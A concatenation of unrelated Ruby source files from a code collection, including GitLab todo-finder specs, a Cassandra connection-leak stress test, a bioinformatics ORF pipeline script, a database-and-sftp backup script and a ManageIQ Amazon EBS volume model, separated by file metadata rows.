todos = finder.new(user, { action_id: Todo::DIRECTLY_ADDRESSED }).execute
expect(todos).to match_array([todo2])
end
it 'returns the expected todos when filtering for multiple action ids' do
todos = finder.new(user, { action_id: [Todo::DIRECTLY_ADDRESSED, Todo::ASSIGNED] }).execute
expect(todos).to match_array([todo2, todo1])
end
end
context 'by action names' do
it 'returns the expected todos' do
todos = finder.new(user, { action: :directly_addressed }).execute
expect(todos).to match_array([todo2])
end
it 'returns the expected todos when filtering for multiple action names' do
todos = finder.new(user, { action: [:directly_addressed, :assigned] }).execute
expect(todos).to match_array([todo2, todo1])
end
end
end
context 'when filtering by author' do
let(:author1) { create(:user) }
let(:author2) { create(:user) }
let!(:todo1) { create(:todo, user: user, author: author1) }
let!(:todo2) { create(:todo, user: user, author: author2) }
it 'returns correct todos when filtering by an author' do
todos = finder.new(user, { author_id: author1.id }).execute
expect(todos).to match_array([todo1])
end
context 'querying for multiple authors' do
it 'returns the correct todo items' do
todos = finder.new(user, { author_id: [author2.id, author1.id] }).execute
expect(todos).to match_array([todo2, todo1])
end
end
end
context 'by groups' do
context 'with subgroups' do
let(:subgroup) { create(:group, parent: group) }
let!(:todo3) { create(:todo, user: user, group: subgroup, target: issue) }
it 'returns todos from subgroups when filtered by a group' do
todos = finder.new(user, { group_id: group.id }).execute
expect(todos).to match_array([todo1, todo2, todo3])
end
end
context 'filtering for multiple groups' do
let_it_be(:group2) { create(:group) }
let_it_be(:group3) { create(:group) }
let!(:todo1) { create(:todo, user: user, project: project, target: issue) }
let!(:todo2) { create(:todo, user: user, group: group, target: merge_request) }
let!(:todo3) { create(:todo, user: user, group: group2, target: merge_request) }
let(:subgroup1) { create(:group, parent: group) }
let!(:todo4) { create(:todo, user: user, group: subgroup1, target: issue) }
let(:subgroup2) { create(:group, parent: group2) }
let!(:todo5) { create(:todo, user: user, group: subgroup2, target: issue) }
let!(:todo6) { create(:todo, user: user, group: group3, target: issue) }
it 'returns the expected groups' do
todos = finder.new(user, { group_id: [group.id, group2.id] }).execute
expect(todos).to match_array([todo1, todo2, todo3, todo4, todo5])
end
end
end
context 'by state' do
let!(:todo1) { create(:todo, user: user, group: group, target: issue, state: :done) }
let!(:todo2) { create(:todo, user: user, group: group, target: issue, state: :pending) }
it 'returns the expected items when no state is provided' do
todos = finder.new(user, {}).execute
expect(todos).to match_array([todo2])
end
it 'returns the expected items when a state is provided' do
todos = finder.new(user, { state: :done }).execute
expect(todos).to match_array([todo1])
end
it 'returns the expected items when multiple states are provided' do
todos = finder.new(user, { state: [:pending, :done] }).execute
expect(todos).to match_array([todo1, todo2])
end
end
context 'by project' do
let_it_be(:project1) { create(:project) }
let_it_be(:project2) { create(:project) }
let_it_be(:project3) { create(:project) }
let!(:todo1) { create(:todo, user: user, project: project1, state: :pending) }
let!(:todo2) { create(:todo, user: user, project: project2, state: :pending) }
let!(:todo3) { create(:todo, user: user, project: project3, state: :pending) }
it 'returns the expected todos for one project' do
todos = finder.new(user, { project_id: project2.id }).execute
expect(todos).to match_array([todo2])
end
it 'returns the expected todos for many projects' do
todos = finder.new(user, { project_id: [project2.id, project1.id] }).execute
expect(todos).to match_array([todo2, todo1])
end
end
end
context 'external authorization' do
it_behaves_like 'a finder with external authorization service' do
let!(:subject) { create(:todo, project: project, user: user) }
let(:project_params) { { project_id: project.id } }
end
end
end
describe '#sort' do
context 'by date' do
let!(:todo1) { create(:todo, user: user, project: project) }
let!(:todo2) { create(:todo, user: user, project: project) }
let!(:todo3) { create(:todo, user: user, project: project) }
it 'sorts with oldest created first' do
todos = finder.new(user, { sort: 'id_asc' }).execute
expect(todos.first).to eq(todo1)
expect(todos.second).to eq(todo2)
expect(todos.third).to eq(todo3)
end
it 'sorts with newest created first' do
todos = finder.new(user, { sort: 'id_desc' }).execute
expect(todos.first).to eq(todo3)
expect(todos.second).to eq(todo2)
expect(todos.third).to eq(todo1)
end
end
it "sorts by priority" do
project_2 = create(:project)
label_1 = create(:label, title: 'label_1', project: project, priority: 1)
label_2 = create(:label, title: 'label_2', project: project, priority: 2)
label_3 = create(:label, title: 'label_3', project: project, priority: 3)
label_1_2 = create(:label, title: 'label_1', project: project_2, priority: 1)
issue_1 = create(:issue, title: 'issue_1', project: project)
issue_2 = create(:issue, title: 'issue_2', project: project)
issue_3 = create(:issue, title: 'issue_3', project: project)
issue_4 = create(:issue, title: 'issue_4', project: project)
merge_request_1 = create(:merge_request, source_project: project_2)
merge_request_1.labels << label_1_2
# Covers the case where Todo has more than one label
issue_3.labels << label_1
issue_3.labels << label_3
issue_2.labels << label_3
issue_1.labels << label_2
todo_1 = create(:todo, user: user, project: project, target: issue_4)
todo_2 = create(:todo, user: user, project: project, target: issue_2)
todo_3 = create(:todo, user: user, project: project, target: issue_3, created_at: 2.hours.ago)
todo_4 = create(:todo, user: user, project: project, target: issue_1)
todo_5 = create(:todo, user: user, project: project_2, target: merge_request_1, created_at: 1.hour.ago)
project_2.add_developer(user)
todos = finder.new(user, { sort: 'priority' }).execute
expect(todos).to eq([todo_3, todo_5, todo_4, todo_2, todo_1])
end
end
end
describe '.todo_types' do
it 'returns the expected types' do
expected_result =
if Gitlab.ee?
%w[Epic Issue MergeRequest DesignManagement::Design]
else
%w[Issue MergeRequest DesignManagement::Design]
end
expect(described_class.todo_types).to contain_exactly(*expected_result)
end
end
describe '#any_for_target?' do
it 'returns true if there are any todos for the given target' do
todo = create(:todo, :pending)
finder = described_class.new(todo.user)
expect(finder.any_for_target?(todo.target)).to eq(true)
end
it 'returns false if there are no todos for the given target' do
issue = create(:issue)
finder = described_class.new(issue.author)
expect(finder.any_for_target?(issue)).to eq(false)
end
end
end
| 37.170139 | 123 | 0.59262 |
f7c0512d2cb696cd34480360068ed635d04d4d37 | 6,655 | # encoding: utf-8
#--
# Copyright 2013-2014 DataStax, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#++
require File.dirname(__FILE__) + '/../integration_test_case.rb'
THIS_FILE_DIR = File.dirname(__FILE__)
class ClusterStressTest < IntegrationTestCase
# Test for cluster connection leakage
#
# test_clusters_should_not_leak_connections tests for connection leaks in cluster objects, and is a port of JAVA-432.
# It creates 10 clusters and verifies that 10 control connections are created. Then it creates 1 session for each
# cluster and verifies that each session opens another 2 connections. It then closes the sessions and checks that only
# the control connections are open. Finally, it closes the clusters and verifies that no open connections exist.
# This entire process is repeated 500 times.
#
# @param param1 [Int] Number of clusters to launch.
#
# @raise [RuntimeError] If a session or cluster was unable to be created or destroyed.
#
# @since 1.0.0
# @jira_ticket RUBY-60
# @expected_result The connection counts should match the expected along the way, and there should be no open
# connections at the end of the test.
#
# @test_assumptions A running Cassandra cluster with 1 node
#
def test_clusters_should_not_leak_connections
# Clusters per loop (also # threads spawned)
num_clusters = 10
command = "ruby -rbundler/setup -r '#{THIS_FILE_DIR}/stress_helper.rb' -e 'StressHelper.new.run_cluster_helper #{num_clusters}'"
# Loop 500 times
(1..500).each do |num|
begin
pipe = IO.popen(command, 'w+')
child_pid = pipe.gets
# Wait for cluster creation
until (pipe.gets).include?("READY1")
sleep(1)
end
# Check 1 connection per cluster (1 control)
check_connections(child_pid, num_clusters)
pipe.puts("DONE1")
# Wait for session creation
until (pipe.gets).include?("READY2")
sleep(1)
end
# Check 3 connections per cluster (1 control + 2 session)
check_connections(child_pid, num_clusters*3)
pipe.puts("DONE2")
# Wait for session closings
until (pipe.gets).include?("READY3")
sleep(1)
end
# Check 1 connection per cluster (1 control)
check_connections(child_pid, num_clusters)
pipe.puts("DONE3")
# Wait for cluster closings
until (pipe.gets).include?("READY4")
sleep(1)
end
# Check no open connections (all clusters and sessions closed)
check_connections(child_pid, 0)
pipe.close
rescue Exception => e
puts "Error in loop# #{num}"
pipe.close
raise e
end
end
end
# Test for session connection leakage
#
# test_sessions_should_not_leak_connections tests for connection leaks in session objects, and is a port of JAVA-432.
# It creates a Cassandra cluster and session and verifies that the expected control and session connections are
# created. Then it creates 500 sessions and verifies that the expected 1001 connections are open. Then it closes 250
# sessions and verifies 501 connections are open. Then it closes 250 sessions while simultaneously opening 250
# sessions and verfies 501 open connections. Finally, it closes the clusters and verifies that no open connections exist.
#
# @param param1 [Int] Number of clusters to launch.
#
# @raise [RuntimeError] If a session or cluster was unable to be created or destroyed.
#
# @since 1.0.0
# @jira_ticket RUBY-60
# @expected_result The connection counts should match the expected along the way, and there should be no open
# connections at the end of the test.
#
# @test_assumptions A running Cassandra cluster with 1 node
#
def test_sessions_should_not_leak_connections
num_clusters = 1
command = "ruby -rbundler/setup -r '#{THIS_FILE_DIR}/stress_helper.rb' -e 'StressHelper.new.run_session_helper #{num_clusters}'"
begin
pipe = IO.popen(command, 'w+')
child_pid = pipe.gets
# Wait for cluster creation
until (pipe.gets).include?("READY1")
sleep(1)
end
# Check 1 connection (1 control)
check_connections(child_pid, num_clusters)
pipe.puts("DONE1")
# Wait for session creation
until (pipe.gets).include?("READY2")
sleep(1)
end
# Check 3 connections (1 control + 2 session)
check_connections(child_pid, num_clusters*3)
pipe.puts("DONE2")
# Wait for session closings
until (pipe.gets).include?("READY3")
sleep(1)
end
# Check 1 connection (1 control)
check_connections(child_pid, num_clusters)
pipe.puts("DONE3")
# Wait for 500 session openings
until (pipe.gets).include?("READY4")
sleep(1)
end
# Check 1001 connections (1 control + 1000 session)
check_connections(child_pid, 1001)
pipe.puts("DONE4")
# Wait for 250 session closings
until (pipe.gets).include?("READY5")
sleep(1)
end
# Check 501 connections (1 control + 500 session)
check_connections(child_pid, 501)
pipe.puts("DONE5")
# Wait for 250 session closing and 250 session openings
until (pipe.gets).include?("READY6")
sleep(1)
end
# Check 501 connections (1 control + 500 session)
check_connections(child_pid, 501)
pipe.puts("DONE6")
# Wait for all cluster and session closings
until (pipe.gets).include?("READY7")
sleep(1)
end
# Check no open connections (all clusters and sessions closed)
check_connections(child_pid, 0)
pipe.close
rescue Exception => e
pipe.close
raise e
end
end
def check_connections(child_pid, num_connections)
begin
# Verify num connections open equals num connections expected
output = []
IO.popen("ss -p | grep 9042 | grep ruby | grep #{child_pid}").each do |line|
output << line.chomp
end
assert_equal(num_connections, output.size)
rescue Exception => e
raise e
end
end
end
| 33.109453 | 132 | 0.675282 |
f8fb64a0ce4ca2423273d5bbaed7bdb555a9a255 | 4,317 | #=== config
# $transcript_file = "Trinity_Mono_130215.fasta"
# $min_len = 50 #aa
# $len_retain_long_orfs = 900 #bp
# $basefreqf = "#{$transcript_file}.base_freqs.dat"
# $cds_for_train = "orfs_for_round2_train.cds"
#===
### Parse command-line options
require 'optparse'
opt = OptionParser.new
opt.on('-t', '--transcript FASTA', 'transcript file to search ORFs (in fasta format) [required]') {|v|
$transcript_file = v}
opt.on('-m', '--min [MIN_LEN]', 'min aa length to predict [default:50]') {|v| $min_len = v.to_i}
opt.on('-b', '--basefreq FILE', 'base frequence file gerenated by previous round of prediction [required]'){|v|
$basefreqf = v}
opt.on('-n', '--cdstrain FASTA', 'cds for training in FASTA format [required]'){|v| $cds_for_train = v}
opt.on('-r', '--retainlen [LENGTH]', 'length to retain long ORFs (bp) [default:900]'){|v| $len_retain_long_orfs = v.to_i}
opt.on('-h', '--help', 'show this message'){
puts opt; exit
}
opt.parse!(ARGV)
unless $transcript_file || $basefreq || $cds_for_train
raise "\nError: Required option missing.\n"
end
$min_len = 50 unless $min_len
$len_retain_len_orfs = 900 unless $len_retain_len_orfs
$scriptdir = File.dirname(__FILE__)
### Capture ALL ORFs (2nd)
outprefix = "predicted2_orfs"
cmd = "perl #{$scriptdir}/capture_all_ORFs.pl #{$transcript_file} #{outprefix} #{$min_len}"
puts cmd
system(cmd)
### Remove redundancy
input = "predicted2_orfs.cds"
output = "#{input}.rmdup"
cmd = "ruby #{$scriptdir}/remove_duplicates_in_fastaf.rb #{input} > #{output}"
puts cmd
system(cmd)
idlist = "#{output}.ids"
cmd = "fast ids #{output} > #{idlist}"
puts cmd
system cmd
fasta = "predicted2_orfs.pep"
output = "#{fasta}.rmdup"
cmd = "ruby #{$scriptdir}/get_fasta_entries_from_idlist.rb #{fasta} #{idlist} > #{output}"
puts cmd
system cmd
input_gff = "predicted2_orfs.gff3"
output_gff = "#{input_gff}.rmdup"
cmd = "ruby #{$scriptdir}/get_gff_entries_from_idlist.rb #{input_gff} #{idlist} > #{output_gff}"
puts cmd
system cmd
### Calculate base prob
# reuse 1st round data
basefreqf = $basefreqf
unless File.exist?(basefreqf)
raise "\nERROR: #{basefreqf} not found\n"
end
### Calculate hexamer scores from training sequences
cds_for_train = $cds_for_train
output = "#{cds_for_train}.hexamer.scores"
cmd = "#{$scriptdir}/util/seq_n_baseprobs_to_logliklihood_vals.pl #{cds_for_train} #{basefreqf} > #{output}"
puts cmd
system cmd
hexscore = output
### Score all cds entries
cdsf = "predicted2_orfs.cds.rmdup"
hexscore
output = "#{cdsf}.scores"
cmd = "#{$scriptdir}/util/score_CDS_liklihood_all_6_frames.pl #{cdsf} #{hexscore} > #{output}"
puts cmd
system cmd
markov_score_f = output
### Select good ORFs based on markov score and length
cdsf
markov_score_f
output = "#{cdsf}.selected"
cmd = "ruby #{$scriptdir}/select_good_orfs_based_on_markovscore_and_length.rb #{cdsf} #{markov_score_f} > #{output}"
puts cmd
system cmd
ids_passed = "#{output}.ids"
cmd = "cut -f 1 #{output} > #{ids_passed}"
puts cmd
system cmd
### Get good ORF entries reading the id list above
gfff = "predicted2_orfs.gff3.rmdup"
cmd = "#{$scriptdir}/util/index_gff3_files_by_isoform.pl #{gfff}"
puts cmd
system cmd
output = "good_orf_candidates2.gff3"
cmd = "#{$scriptdir}/util/gene_list_to_gff.pl #{ids_passed} #{gfff}.inx > #{output}"
puts cmd
system cmd
gfff = output
bedf = gfff.sub(/gff3$/, "bed")
cmd = "#{$scriptdir}/util/gff3_file_to_bed.pl #{gfff} > #{bedf}"
puts cmd
system cmd
pepf = gfff.sub(/gff3$/, "pep")
cmd = "#{$scriptdir}/util/gff3_file_to_proteins.pl #{gfff} #{$transcript_file}> #{pepf}"
puts cmd
system cmd
cdsf = gfff.sub(/gff3$/, "cds")
cmd = "#{$scriptdir}/util/gff3_file_to_proteins.pl #{gfff} #{$transcript_file} CDS > #{cdsf}"
puts cmd
system cmd
### exclude sharow orfs
output = gfff.sub(/gff3/, "eclipsed_orfs_removed.gff3")
cmd = "#{$scriptdir}/util/remove_eclipsed_ORFs.pl #{gfff} > #{output}"
puts cmd
system cmd
gfff = output
bedf = gfff.sub(/gff3$/, "bed")
cmd = "#{$scriptdir}/util/gff3_file_to_bed.pl #{gfff} > #{bedf}"
puts cmd
system cmd
pepf = gfff.sub(/gff3$/, "pep")
cmd = "#{$scriptdir}/util/gff3_file_to_proteins.pl #{gfff} #{$transcript_file}> #{pepf}"
puts cmd
system cmd
cdsf = gfff.sub(/gff3$/, "cds")
cmd = "#{$scriptdir}/util/gff3_file_to_proteins.pl #{gfff} #{$transcript_file} CDS > #{cdsf}"
puts cmd
system cmd
| 26.006024 | 121 | 0.702108 |
e2ce5d23411c4e2b5d981798051739c726a2294e | 137 | require File.expand_path('../../../spec_helper', __FILE__)
describe "Dir.home" do
it "needs to be reviewed for spec completeness"
end
| 22.833333 | 58 | 0.722628 |
1169dc9080d508c057028563af61f1441be7abc1 | 1,683 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'hyperloop/console/version'
Gem::Specification.new do |spec|
spec.name = "hyper-console"
spec.version = Hyperloop::Console::VERSION
spec.authors = ["catmando"]
spec.email = ["[email protected]"]
spec.summary = %q{IRB style console for Hyperloop applications.}
spec.homepage = "http://ruby-hyperloop.io"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_dependency 'hyper-operation', Hyperloop::Console::VERSION
spec.add_dependency 'hyper-store', Hyperloop::Console::VERSION
spec.add_development_dependency 'bundler'
spec.add_development_dependency 'chromedriver-helper'
spec.add_development_dependency 'hyper-component', Hyperloop::Console::VERSION
spec.add_development_dependency 'hyper-operation', Hyperloop::Console::VERSION
spec.add_development_dependency 'hyper-store', Hyperloop::Console::VERSION
spec.add_development_dependency 'hyperstack-config', Hyperloop::Console::VERSION
spec.add_development_dependency 'opal', '>= 0.11.0', '< 0.12.0'
spec.add_development_dependency 'opal-browser'
spec.add_development_dependency 'opal-jquery'
spec.add_development_dependency 'opal-rails', '~> 0.9.4'
spec.add_development_dependency 'rails'
spec.add_development_dependency 'rake', '~> 10.0'
spec.add_development_dependency 'uglifier', '4.1.6'
end
| 44.289474 | 104 | 0.716578 |
f8b042a08f241e848ed0709eefec53f271b2047d | 841 | # frozen_string_literal: true
# rspec ./spec/lib/statistic_calcs/data_sets/data_set_spec.rb
require 'statistic_calcs/data_sets/data_set'
RSpec.describe StatisticCalcs::DataSets::DataSet do
subject { StatisticCalcs::DataSets::DataSet.new(x_values: x_values) }
before { subject.calc! }
describe '.mean' do
context 'Ungrouped data' do
context 'with values' do
let(:x_values) { [-5, 1.2, 2.3, 3.4] }
context 'give the average of the list' do
it 'return 0.457' do
expect(subject.mean).to eq(0.475)
end
end
context 'without values' do
let(:x_values) { [] }
context 'give the average of the list' do
it 'return nil' do
expect(subject.mean).to be(0)
end
end
end
end
end
end
end
| 27.129032 | 71 | 0.596908 |
e2269a7d77b096000009f011914978db771cb08d | 1,882 | ##########################GO-LICENSE-START################################
# Copyright 2018 ThoughtWorks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
##########################GO-LICENSE-END##################################
module FailuresHelper
include ParamEncoder
def esc(string, sequence)
string.gsub(sequence, sequence * 2)
end
def fbh_failure_detail_popup_id_for_failure(job_identifier, test_suite_name, test_case_name)
"for_fbh_failure_details_#{esc(job_identifier.buildLocator(), '_')}_#{esc(test_suite_name, '_')}_#{esc(test_case_name, '_')}".to_json()
end
def failure_details_link(job_id, suite_name, test_name)
id = fbh_failure_detail_popup_id_for_failure(job_id, suite_name, test_name)
link =<<-LINK
<a href='#{failure_details_path(job_id, suite_name, test_name)}' id=#{id} class="fbh_failure_detail_button" title='#{('View failure details').html_safe}'>[Trace]</a>
LINK
link.html_safe
end
def failure_details_path job_id, suite_name, test_name
failure_details_internal_path(:pipeline_name => job_id.getPipelineName(), :pipeline_counter => job_id.getPipelineCounter(), :stage_name => job_id.getStageName(),
:stage_counter => job_id.getStageCounter(), :job_name => job_id.getBuildName(),
:suite_name => suite_name, :test_name => test_name)
end
end
| 44.809524 | 165 | 0.687566 |
9147d1d81596e8757f89f015b994b1466f3626d6 | 3,433 | #!/usr/bin/env ruby
require 'logger'
class Backup
attr_accessor :name, :root, :timestamp_format, :workspace
attr_reader :log, :time
def initialize(config_file)
@log = Logger.new(STDOUT)
log.level = Logger::WARN
# Assume project name is backup config name
self.name = File.basename(config_file).split('.').first
# Assume project root is sibling to backup config and has same name
self.root = File.join(File.dirname(config_file), name)
# Assume folder containing backup config is safe workspace
self.workspace = File.dirname(config_file)
self.timestamp_format = '%Y%m%d%H%M%S'
@temporary_files = []
@time = Time.now
instance_eval(File.read(config_file))
end
def run(command)
log.debug "Running #{command}"
`#{command}`
end
def start
log.info "Starting Backup of #{root} at #{time}"
db_backup
package_files
archive_files
rotate_archives
cleanup_temporary_files
end
def package_filename
File.join workspace, "#{name}-#{time.strftime(timestamp_format)}.tar.bz2"
end
def package_files
run "tar -C #{File.dirname(root)} -jcf #{package_filename} #{File.basename(root)}"
@temporary_files << "#{package_filename}"
end
def db_backup
if @db_command
dumpfile = File.join(root, "#{name}.db.#{@db_type}")
log.info "Backing up database"
run "#{@db_command} > #{dumpfile}"
@temporary_files << dumpfile
end
end
def archive_files
if @archive_command
log.info "Archiving package"
run @archive_command
end
end
def rotate_archives
if @number_to_keep and @archive_list_command
files = run(@archive_list_command).split(/\s+/)
files_to_keep = files[-@number_to_keep..-1]
if files_to_keep
files_to_remove = files - files_to_keep
log.info "Removing the following files to keep only #{@number_to_keep} files:"
log.info files_to_remove.join(", ")
files_to_remove.each { |f| run(@archive_remove_command % f) }
end
end
end
def cleanup_temporary_files
log.info "Cleaning up temporary files"
@temporary_files.each do |file|
run "rm #{file}"
end
end
def keep(config)
@number_to_keep = config
end
def mysql(config)
@db_type = "mysql"
@db_command = "mysqldump"
@db_command += " -h#{config[:host]}" if config[:host]
@db_command += " -u#{config[:user]}" if config[:user]
@db_command += " -p#{config[:password]}" if config[:password]
@db_command += " #{config[:database]}"
end
def sftp(config)
sftp_put_command = "put #{package_filename}"
sftp_list_command = "ls"
if config[:folder]
sftp_put_command += " #{config[:folder]}"
sftp_list_command += " #{config[:folder]}"
end
sftp_host = ""
sftp_host += "#{config[:user]}@" if config[:user]
sftp_host += config[:host]
@archive_command = "echo #{sftp_put_command} | sftp -b - #{sftp_host}"
@archive_list_command = "echo #{sftp_list_command} | sftp -b - #{sftp_host} | grep -v sftp"
@archive_remove_command = "echo rm %s | sftp -b - #{sftp_host}"
end
def local(config)
raise "Must specify folder for local archiving" unless folder = config
@archive_command = "cp #{package_filename} #{folder}"
@archive_list_command = "find #{folder}"
@archive_remove_command = "rm %s"
end
end
ARGV.each { |f| Backup.new(f).start }
| 26.612403 | 95 | 0.652782 |
21c8f8ef63a50ea07b9ae4f33caa58ac8ae5f16f | 241 | json.array!(@apps) do |app|
json.extract! app, :id, :name, :updated_at, :url_token, :module_name, :view_count, :bundle_url
json.creator do
json.avatar_url app.creator.avatar.try(:url)
json.username app.creator.username
end
end
| 30.125 | 96 | 0.717842 |
914e9f01cae764edfcad1f3322a09b7172db826a | 354 | When /^I define a Metal endpoint called "([^\"]*)":$/ do |class_name, definition|
FileUtils.mkdir_p(File.join(RAILS_ROOT, 'app', 'metal'))
file_name = File.join(RAILS_ROOT, 'app', 'metal', "#{class_name.underscore}.rb")
File.open(file_name, "w") do |file|
file.puts "class #{class_name}"
file.puts definition
file.puts "end"
end
end
| 32.181818 | 82 | 0.661017 |
03cff4bc593f82c7687caf7e5e5e129bdfacbc71 | 295 | class CreateSrcSetJoinTable < ActiveRecord::Migration[4.2]
def change
create_table :src_images_src_sets, :id => false do |t|
t.references :src_image
t.references :src_set
end
add_index :src_images_src_sets, [:src_image_id, :src_set_id],
:unique => true
end
end
| 26.818182 | 65 | 0.698305 |
03fd78e08094d5f2878f843b30d29db0915987e1 | 1,315 | RSpec.describe VisualizeRuby::Parser do
subject {
described_class.new(ruby_code).parse
}
let(:graph) {
instance_double(VisualizeRuby::Graph, nodes: nodes, edges: edges, name: "something", options: {})
}
let(:nodes) { subject.first }
let(:edges) { subject.last }
let(:ruby_code) {
<<-RUBY
(bankruptcies.any? do |bankruptcy|
bankruptcy.closed_date.nil?
end || bankruptcies.any? do |bankruptcy|
bankruptcy.closed_date > 2.years.ago
end)
RUBY
}
it "converts to nodes and edges" do
puts edges.map(&:to_a).inspect
expect(nodes.map(&:to_a)).to eq( [[:decision, "bankruptcies.any?"], [:action, "bankruptcy.closed_date.nil?"], [:decision, "bankruptcies.any?"], [:action, "bankruptcy.closed_date > 2.years.ago"]])
expect(edges.map(&:to_a)).to eq([["bankruptcies.any?", "(arg :bankruptcy)", "->", "bankruptcy.closed_date.nil?"], ["bankruptcy.closed_date.nil?", "↺", "->", "bankruptcies.any?"], ["bankruptcies.any?", "(arg :bankruptcy)", "->", "bankruptcy.closed_date > 2.years.ago"], ["bankruptcy.closed_date > 2.years.ago", "↺", "->", "bankruptcies.any?"], ["bankruptcy.closed_date.nil?", "OR", "->", "bankruptcy.closed_date > 2.years.ago"]])
end
it { VisualizeRuby::Graphviz.new(graphs: [graph]).to_graph(path: "spec/examples/block.png") }
end
| 45.344828 | 432 | 0.652471 |
4a3bcba4cb6924ebc4c47d55debdbd54f51507de | 8,241 | class ManageIQ::Providers::Amazon::StorageManager::Ebs::CloudVolume < ::CloudVolume
supports :create
supports :snapshot_create
supports :update do
unsupported_reason_add(:update, _("The Volume is not connected to an active Provider")) unless ext_management_system
end
CLOUD_VOLUME_TYPES = {
:gp2 => N_('General Purpose SSD (GP2)'),
:io1 => N_('Provisioned IOPS SSD (IO1)'),
:st1 => N_('Throughput Optimized HDD (ST1)'),
:sc1 => N_('Cold HDD (SC1)'),
:standard => N_('Magnetic'),
}.freeze
def available_vms
availability_zone.vms
end
def self.validate_create_volume(ext_management_system)
validate_volume(ext_management_system)
end
def self.raw_create_volume(ext_management_system, options)
options.symbolize_keys!
options.delete(:ems_id)
volume_name = options.delete(:name)
availability_zone = ext_management_system.availability_zones.find_by(:id => options.delete(:availability_zone_id))
options[:availability_zone] = availability_zone&.ems_ref
volume = nil
ext_management_system.with_provider_connection do |service|
# Create the volume using provided options.
volume = service.client.create_volume(options)
# Also name the volume using tags.
service.client.create_tags(
:resources => [volume.volume_id],
:tags => [{ :key => "Name", :value => volume_name }]
)
end
{:ems_ref => volume.volume_id, :status => volume.state, :name => volume_name}
rescue => e
_log.error "volume=[#{volume_name}], error: #{e}"
raise MiqException::MiqVolumeCreateError, e.to_s, e.backtrace
end
def raw_update_volume(options)
with_provider_object do |volume|
# Update the name in case it was provided in the options.
volume.create_tags(:tags => [{:key => "Name", :value => options[:name]}]) if options.key?(:name)
# Mofiy volume configuration based on the given options.
modify_opts = modify_volume_options(options)
volume.client.modify_volume(modify_opts.merge(:volume_id => ems_ref)) unless modify_opts.empty?
end
rescue => e
_log.error "volume=[#{name}], error: #{e}"
raise MiqException::MiqVolumeUpdateError, e.to_s, e.backtrace
end
def validate_delete_volume
msg = validate_volume
return {:available => msg[:available], :message => msg[:message]} unless msg[:available]
if with_provider_object(&:state) == "in-use"
return validation_failed("Create Volume", "Can't delete volume that is in use.")
end
{:available => true, :message => nil}
end
def raw_delete_volume
with_provider_object(&:delete)
rescue => e
_log.error "volume=[#{name}], error: #{e}"
raise MiqException::MiqVolumeDeleteError, e.to_s, e.backtrace
end
def validate_attach_volume
validate_volume_available
end
def raw_attach_volume(server_ems_ref, device = nil)
with_provider_object do |vol|
vol.attach_to_instance(:instance_id => server_ems_ref, :device => device)
end
end
def validate_detach_volume
validate_volume_in_use
end
def raw_detach_volume(server_ems_ref)
with_provider_object do |vol|
vol.detach_from_instance(:instance_id => server_ems_ref)
end
end
def create_volume_snapshot(options)
ManageIQ::Providers::Amazon::StorageManager::Ebs::CloudVolumeSnapshot.create_snapshot(self, options)
end
def create_volume_snapshot_queue(userid, options)
ManageIQ::Providers::Amazon::StorageManager::Ebs::CloudVolumeSnapshot.create_snapshot_queue(userid, self, options)
end
def provider_object(connection = nil)
connection ||= ext_management_system.connect
connection.volume(ems_ref)
end
def self.params_for_create(ems)
{
:fields => [
{
:component => 'text-field',
:name => 'size',
:id => 'size',
:label => _('Size (in bytes)'),
:type => 'number',
:step => 1.gigabytes,
:isRequired => true,
:validate => [{:type => 'required'}, {:type => 'min-number-value', :value => 0, :message => _('Size must be greater than or equal to 0')}],
:condition => {
:or => [
{
:not => {
:when => 'volume_type',
:is => 'standard',
},
},
{
:when => 'edit',
:is => false,
},
],
},
},
{
:component => 'select',
:name => 'availability_zone_id',
:id => 'availability_zone_id',
:label => _('Availability Zone'),
:includeEmpty => true,
:options => ems.availability_zones.map do |az|
{
:label => az.name,
:value => az.id,
}
end,
:isRequired => true,
:validate => [{:type => 'required'}],
:condition => {
:when => 'edit',
:is => false,
},
},
{
:component => 'select',
:name => 'volume_type',
:id => 'volume_type',
:label => _('Cloud Volume Type'),
:includeEmpty => true,
:options => CLOUD_VOLUME_TYPES.map do |value, label|
option = {
:label => _(label),
:value => value,
}
# The standard (magnetic) volume_type is a special case. I can only be set upon creation
# or when editing an entity that has its volume_type set to standard. Conditional options
# are not supported by DDF, but resolveProps allows us to overwrite these options before
# rendering.
if value == :standard
option[:condition] = {
:or => [
{
:when => 'edit',
:is => false,
},
{
:when => 'volume_type',
:is => 'standard',
}
]
}
end
option
end,
:isRequired => true,
:validate => [{:type => 'required'}],
:initialValue => 'gp2',
},
{
:component => 'text-field',
:name => 'iops',
:id => 'iops',
:label => _('IOPS'),
:type => 'number',
:condition => {
:when => 'volume_type',
:is => 'io1',
},
:validate => [{:type => 'min-number-value', :value => 0, :message => _('Number of IOPS Must be greater than or equal to 0')}],
},
{
:component => 'select',
:name => 'cloud_volume_snapshot_id',
:id => 'cloud_volume_snapshot_id',
:label => _('Base Snapshot'),
:includeEmpty => true,
:condition => {
:when => 'edit',
:is => false,
},
:options => ems.cloud_volume_snapshots.map do |cvs|
{
:value => cvs.id,
:label => cvs.name,
}
end
},
{
:component => 'switch',
:name => 'encrypted',
:id => 'encrypted',
:label => _('Encrypted'),
:onText => _('Yes'),
:offText => _('No'),
:isRequired => true,
:condition => {
:when => 'edit',
:is => false,
},
}
]
}
end
private
def modify_volume_options(options = {})
modify_opts = {}
if volume_type != 'standard'
modify_opts[:volume_type] = options[:volume_type] if options[:volume_type] && options[:volume_type] != volume_type
